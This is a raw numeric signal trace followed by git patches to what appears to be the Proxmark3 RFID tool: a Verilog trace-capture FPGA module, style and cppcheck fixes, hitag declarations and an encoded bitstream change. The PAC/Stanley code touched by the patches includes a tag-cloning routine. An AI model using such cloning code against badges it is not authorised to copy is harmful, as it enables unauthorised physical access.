+127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-81 +-74 +-68 +-62 +-58 +-53 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-20 +-16 +-15 +-12 +-10 +-8 +-8 +-6 +-5 +-2 +-1 +0 +0 +2 +3 +3 +4 +5 +6 +7 +6 +7 +7 +8 +8 +9 +10 +11 +10 +10 +10 +11 +11 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +13 +14 +14 +13 +14 +14 +14 +12 +12 +13 +14 +14 +14 +14 +14 +13 +14 +14 +14 +14 +15 +15 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +89 +84 +78 +74 +68 +64 +60 +57 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +95 +88 +84 +78 +73 +68 +64 +60 +57 +53 +50 +47 +44 +41 +39 +37 +35 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-83 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-19 +-17 +-15 +-13 +-11 +-10 +-9 +-7 +-4 +-3 +-2 +-1 +0 +1 +2 +2 +4 +5 +6 +5 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +12 +13 +13 +14 +13 +14 +14 +14 +12 +13 +14 +15 +15 +15 +14 +15 +14 +14 +13 +14 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +103 +96 +89 +84 +79 +74 +68 +65 +61 +58 +54 +51 +48 +46 +43 +40 +38 +37 +34 +32 +30 +30 +28 +26 +25 +25 +23 +22 +21 +21 +19 +19 +18 +17 +16 +15 +15 +15 +14 +13 +13 +13 +13 +12 +12 +12 +12 +12 +11 +12 +11 +11 +11 +11 +11 +10 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-85 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-41 +-36 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-84 +-76 +-69 +-64 +-60 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-16 +-14 +-13 +-11 +-9 +-8 +-7 +-5 +-3 +-1 +0 +1 +2 +3 +3 +4 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +12 +12 +12 +12 +12 +11 +12 +11 +11 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-89 +-82 +-76 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +6 +6 +6 +7 +8 +9 +10 +11 +10 +11 +10 +11 +12 +13 +13 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +98 +90 +85 +79 +75 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +38 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-93 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-43 +-39 +-36 +-32 +-29 +-26 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +105 +98 +90 +85 +79 +74 +68 +65 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +34 +33 +31 +30 +28 +27 +26 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-82 +-76 +-69 +-65 +-60 +-55 +-50 +-45 +-40 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +6 +5 +7 +8 +9 +9 +10 +10 +10 +10 +10 +11 +12 +11 +12 +12 +12 +12 +13 +13 +14 +14 +13 +13 +13 +12 +13 +13 +13 +13 +14 +13 +13 +13 +12 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-8 +-7 +-4 +-2 +-1 +0 +1 +2 +3 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +11 +10 +11 +11 +12 +11 +12 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +12 +13 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +13 +14 +15 +15 +14 +15 +14 +15 +14 +15 +15 +16 +15 +15 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +89 +83 +78 +74 +68 +65 +61 +58 +54 +50 +48 +45 +42 +39 +37 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +101 +95 +89 +83 +77 +72 +68 +64 +60 +56 +53 +51 +47 +44 +41 +40 +37 +35 +33 +32 +30 +28 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +58 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +90 +84 +79 +74 +68 +65 +60 +57 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +94 +88 +82 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +28 +28 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-91 +-84 +-77 +-71 +-65 +-59 +-54 +-49 +-44 +-39 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-4 +-2 +0 +1 +1 +2 +3 +5 +5 +5 +6 +7 +7 +8 +9 +10 +10 +10 +10 +10 +9 +10 +10 +11 +11 +12 +12 +11 +11 +12 +11 +13 +13 +14 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +12 +13 +13 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 From e84f3bb467784700cb8099b93706ff00b8cdf86c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:44:51 +0100 Subject: [PATCH 196/418] add hf plot fpga stuff (@piwi) --- fpga/hi_get_trace.v | 155 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 155 insertions(+) create mode 100755 fpga/hi_get_trace.v diff --git a/fpga/hi_get_trace.v b/fpga/hi_get_trace.v new file mode 100755 index 000000000..3e7412f7a --- /dev/null +++ b/fpga/hi_get_trace.v @@ -0,0 +1,155 @@ +//----------------------------------------------------------------------------- +// +// piwi, Feb 2019 +//----------------------------------------------------------------------------- + +module hi_get_trace( + ck_1356megb, + adc_d, trace_enable, major_mode, + ssp_frame, ssp_din, ssp_clk +); + input ck_1356megb; + input [7:0] adc_d; + input trace_enable; + input [2:0] major_mode; + output ssp_frame, ssp_din, ssp_clk; + +// clock divider +reg [6:0] clock_cnt; +always @(negedge ck_1356megb) +begin + clock_cnt <= clock_cnt + 1; +end + +// sample at 13,56MHz / 8. The highest signal frequency (subcarrier) is 848,5kHz, i.e. in this case we oversample by a factor of 2 +reg [2:0] sample_clock; +always @(negedge ck_1356megb) +begin + if (sample_clock == 3'd7) + sample_clock <= 3'd0; + else + sample_clock <= sample_clock + 1; +end + + +reg [11:0] addr; +reg [11:0] start_addr; +reg [2:0] previous_major_mode; +reg write_enable1; +reg write_enable2; +always @(negedge ck_1356megb) +begin + previous_major_mode <= major_mode; + if (major_mode == `FPGA_MAJOR_MODE_HF_GET_TRACE) + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + if (previous_major_mode != `FPGA_MAJOR_MODE_HF_GET_TRACE) // just switched into GET_TRACE mode + addr <= start_addr; + if (clock_cnt == 7'd0) + begin + if (addr == 12'd3071) + addr <= 12'd0; + else + addr <= addr + 1; + end + end + else if (major_mode != `FPGA_MAJOR_MODE_OFF) + begin + if (trace_enable) + begin + if (addr[11] == 1'b0) + begin + write_enable1 <= 1'b1; + write_enable2 <= 1'b0; + end + else + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b1; + end + if (sample_clock == 3'b000) + begin + if (addr == 12'd3071) + begin + addr <= 12'd0; + write_enable1 <= 1'b1; + write_enable2 <= 1'b0; + end + else + addr <= addr + 1; + end + end + else + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + start_addr <= addr; + end + end + else // major_mode == `FPGA_MAJOR_MODE_OFF + begin + write_enable1 <= 1'b0; + write_enable2 <= 1'b0; + if (previous_major_mode != `FPGA_MAJOR_MODE_OFF && previous_major_mode != `FPGA_MAJOR_MODE_HF_GET_TRACE) // just switched off + start_addr <= addr; + end +end + + +// (2+1)k RAM +reg [7:0] D_out1, D_out2; +reg [7:0] ram1 [2047:0]; +reg [7:0] ram2 [1023:0]; + +always @(negedge ck_1356megb) +begin + if (write_enable1) + begin + ram1[addr[10:0]] <= adc_d; + D_out1 <= adc_d; + end + else + D_out1 <= ram1[addr[10:0]]; + if (write_enable2) + begin + ram2[addr[9:0]] <= adc_d; + D_out2 <= adc_d; + end + else + D_out2 <= ram2[addr[9:0]]; +end + + +// SSC communication to ARM +reg ssp_clk; +reg ssp_frame; +reg [7:0] shift_out; + +always @(negedge ck_1356megb) +begin + if(clock_cnt[3:0] == 4'd0) // update shift register every 16 clock cycles + begin + if(clock_cnt[6:4] == 3'd0) // either load new value + begin + if (addr[11] == 1'b0) + shift_out <= D_out1; + else + shift_out <= D_out2; + end + else // or shift left + shift_out[7:1] <= shift_out[6:0]; + end + + ssp_clk <= ~clock_cnt[3]; // ssp_clk frequency = 13,56MHz / 16 = 847,5 kHz + + if(clock_cnt[6:4] == 3'b000) // set ssp_frame for 0...31 + ssp_frame <= 1'b1; + else + ssp_frame <= 1'b0; + +end + +assign ssp_din = shift_out[7]; + +endmodule From 796fdb90854d3c890fa3962da8022e2dacd97113 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:46:26 +0100 Subject: [PATCH 197/418] style --- client/cmdlfpac.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index 04ff13633..00d4d4ae6 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -90,15 +90,15 @@ static void pacRawToCardId(uint8_t* outCardId, const uint8_t* rawBytes) { */ // convert 8 bytes of PAC_8byte ID to 16 byte array of raw data (FF204990XX...) -static void pacCardIdToRaw(uint8_t* outRawBytes, const char* cardId) { +static void pacCardIdToRaw(uint8_t *outRawBytes, const char *cardId) { uint8_t idbytes[10]; - + // prepend PAC_8byte card type "20" idbytes[0] = '2'; idbytes[1] = '0'; for (size_t i = 0; i < 8; i++) idbytes[i + 2] = toupper(cardId[i]); - + // initialise array with start and stop bits for (size_t i = 0; i < 16; i++) outRawBytes[i] = 0x40 >> (i + 3) % 5 * 2; @@ -116,8 +116,7 @@ static void pacCardIdToRaw(uint8_t* outRawBytes, const char* cardId) { pattern = reflect8(idbytes[i - 2]); pattern |= oddparity8(pattern); if (i > 3) checksum ^= idbytes[i - 2]; - } - else + } else pattern = (reflect8(checksum) & 0xFE) | oddparity8(checksum); pattern <<= shift; @@ -160,7 +159,7 @@ static int CmdPacDemod(const char *Cmd) { const size_t idLen = 9; // 8 bytes + null terminator uint8_t cardid[idLen]; int retval = demodbuf_to_pacid(DemodBuffer, DemodBufferLen, cardid, sizeof(cardid)); - + if (retval == PM3_SUCCESS) PrintAndLogEx(SUCCESS, "PAC/Stanley Tag Found -- Card ID: %s, Raw: %08X%08X%08X%08X", cardid, raw1, raw2, raw3, raw4); @@ -190,7 +189,7 @@ static int CmdPacClone(const char *Cmd) { int res = param_getstr(Cmd, cmdp + 1, cardid, sizeof(cardid)); if (res < 8) errors = true; - + pacCardIdToRaw(rawhex, cardid); for (uint8_t i = 1; i < ARRAYLEN(blocks); i++) { blocks[i] = bytes_to_num(rawhex + ((i - 1) * 4), sizeof(uint32_t)); From 9f02aeb85ef2fe91ff8327c14ff95396aa60b61e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:46:51 +0100 Subject: [PATCH 198/418] style --- fpga/fpga_lf.v | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fpga/fpga_lf.v b/fpga/fpga_lf.v index 9c1c2528f..1df5394b6 100644 --- a/fpga/fpga_lf.v +++ b/fpga/fpga_lf.v @@ -75,7 +75,7 @@ begin endcase end -// +// always @(posedge spck) begin if (~ncs) From ca855593091fb9cf0a15fe4273a31dbabccc2643 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:47:27 +0100 Subject: [PATCH 199/418] some function def (hitag) --- armsrc/lfsampling.h | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index b17a871ba..21968cdd2 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -52,6 +52,13 @@ uint32_t DoAcquisition_default(int trigger_threshold, bool silent); uint32_t DoAcquisition_config(bool silent, int sample_size); +/** + * Refactoring of lf sampling buffer + */ +void initSamplingBuffer(void); +void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold); +uint32_t getSampleCounter(); + /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * if not already loaded, sets divisor and starts up the antenna. From 27f7dd6dec8b7fdcbbe7613507f44211c7796900 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:47:39 +0100 Subject: [PATCH 200/418] some function def (hitag) --- armsrc/BigBuf.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/armsrc/BigBuf.c b/armsrc/BigBuf.c index a0a25d1fe..765d230a5 100644 --- a/armsrc/BigBuf.c +++ b/armsrc/BigBuf.c @@ -115,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) { void clear_trace(void) { traceLen = 0; } + void set_tracelen(uint32_t value) { traceLen = value; } + void set_tracing(bool enable) { tracing = enable; } From ffb596373f11fd1a58aded452a26a666c552003d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:48:11 +0100 Subject: [PATCH 201/418] cppcheck --- armsrc/des.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/des.c b/armsrc/des.c index b84bc4c30..ccd32be7d 100644 --- a/armsrc/des.c +++ b/armsrc/des.c @@ -272,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) { uint32_t des_f(uint32_t r, uint8_t *kr) { uint8_t i; uint32_t t = 0, ret; - uint64_t data; + uint64_t data = 0; uint8_t *sbp; /* sboxpointer */ permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data); for (i = 0; i < 6; ++i) From 0dc6f38741b6220ce5a119df5548539b8dcdd4ff Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:48:21 +0100 Subject: [PATCH 202/418] cppcheck --- armsrc/cmd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/cmd.c b/armsrc/cmd.c index 61ceda2f0..c7f76960b 100644 --- a/armsrc/cmd.c +++ b/armsrc/cmd.c @@ -43,7 +43,7 @@ bool reply_via_fpc = false; bool reply_via_usb = false; int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { - PacketResponseOLD txcmd = {0}; + PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; // for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) // ((uint8_t *)&txcmd)[i] = 0x00; From 05f2fbc75a5e89f7f45b7f70e90852f82f6968ae Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 20:52:32 +0100 Subject: [PATCH 203/418] hitag adaptations (@anon) --- fpga/fpga_lf.bit | Bin 42175 -> 42175 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/fpga/fpga_lf.bit b/fpga/fpga_lf.bit index f694ad4cf7e0cafa299260f536faa36113164ba4..8f63e1eff913c347cbdbdf4bedec56e8988b482b 100644 GIT binary patch literal 42175 zcmeIb4Rl;*buPTmdyeEI&B${s+gvqq;Ao_ni5bab*>T(;OUJU34za-kLYq=n?kX2lVF0Ox$VR;ARzRPe@L7kl4C^)6Guq~*Q<5Ggo!IsB{-?# z7?5qn{+|7wGiOFtLc3P8*6ms!Y8PydUZ3;+?fvX$@BO}_y2zyWe?;2NH2+im|KsNW ze(R^&`ft7YlYg|a{ZBu+k#3>-jz3?X_@AFymPpViDb$hZNG!FN;s0qP)paDUy?WWT zE3T$LBHG)35kKGl>c>8nAgK}2oP?I*|27kvt&!|*OOVU|oBZF`B?!+e|65CtLw(fx zNoutC@!R|uQvIT_?`?k1j}3|cAQI|7-{wCYsebWm+mP3$@oiqA9vkme8}+t}jZQrY zi4WUkvXG+~T}$;+&ym|bq}sUJ1-dA^UyMxY)AEEkK=IRq7fd`U;mIWRb0cZJMvut$ zQs|I)GiS=EZBC1mv|F~@bs14I65J+JGe-EwZYUwf`m&V5N(nsC;_l@MaZ*$7aTnfC zk5Ky)p*()I)sFU>`NooSh}x-6ib*5I@1cdK=sdN%k-UD2j#Gyn&g&C&mbyL?$>~Ky zy{Du-N*AfyjZC7=Y1x&7@Dja1-7<1apTf8C<5>6OJzYiho>yp@8$Z-CK_76s`WpB> zHn%C%#JN8%`ZHa#y}#p_c}BcsY}4B1+^jf_4TPUk&3Yc!ag1Wj$Wf~i>*yJE(iE2= zOH5&l;m6kAO%KYp(&e{_7if!YE}6I0o~O;SEmgls6ukE&%`m+|oidWp$LKyfD8mVT zRE*$BgQXw!HjZ;eFs^CiBE4rcGO0~DZ&J4tnb3Cn0QJ*&Sv$t(UNv z7=_#Nny%J;_Z6zo+{5vlTBhv$ae5tZ#*>$7`}sXhHGZ2S#`VwC;jGW<8_6HnQ{H;5 zvP#5S5Rw>0hN5Ijkq{a6M1Rg3yIC_D^qIa)&1+(P7}o&4wcSFWy>Bht%VY21v1@nG zeU4ca2i5%G$?e`+bl2h;u+FOLC;FU%Y$UBv$8yqxN%u^aMX~xA%()|2^ir=~r@fDRPs3L5|DS zb~uTx^{XK~xlMn?(=YQ1WfMj)idX69JU~_=SP2$-YE!&kPK~mMrMb81-SnJ%e=a+^>IvHk(&FSc_x5TP&qtOT2j|Qab3?^@~N~i!c{v3g%+x zf|ik{N%Y3%Z>2o_`r+><#I5Fl+q%)T#FOrzV^5jah&pfGhha0(Ls^#>omlR!6xQn{ zTANFh!iR+aElFw=N9%Yv=TcpFMfU11(~rGzl>m|W(X44@GZ#(HKSi(7awk&M&zR4f z%iSH5I`yhH1IDf9BQO_Dd2x!i*(+sePftNUL(#)9=C)(;dt}Y6Y%@p9{b=(Yx@82$ zlLaVRUfAARm=tE4={CV`m>Fs%yrM+gy*9$rFEVeX^IDf1%j?thFVx|!#m^zYvXQ4> zx!>YGuXbVHr+stLGD-g`@T6a#@bt^YdOa_@8LckRwCsMeVM3p_pOf7b27U>p7mQ!q zJ^Xr!9+FFsnK}B2m67c!^AI#njXeXqI*2}p64;{qDPH)16&)kkdBWHO{Mtd=4aSQe 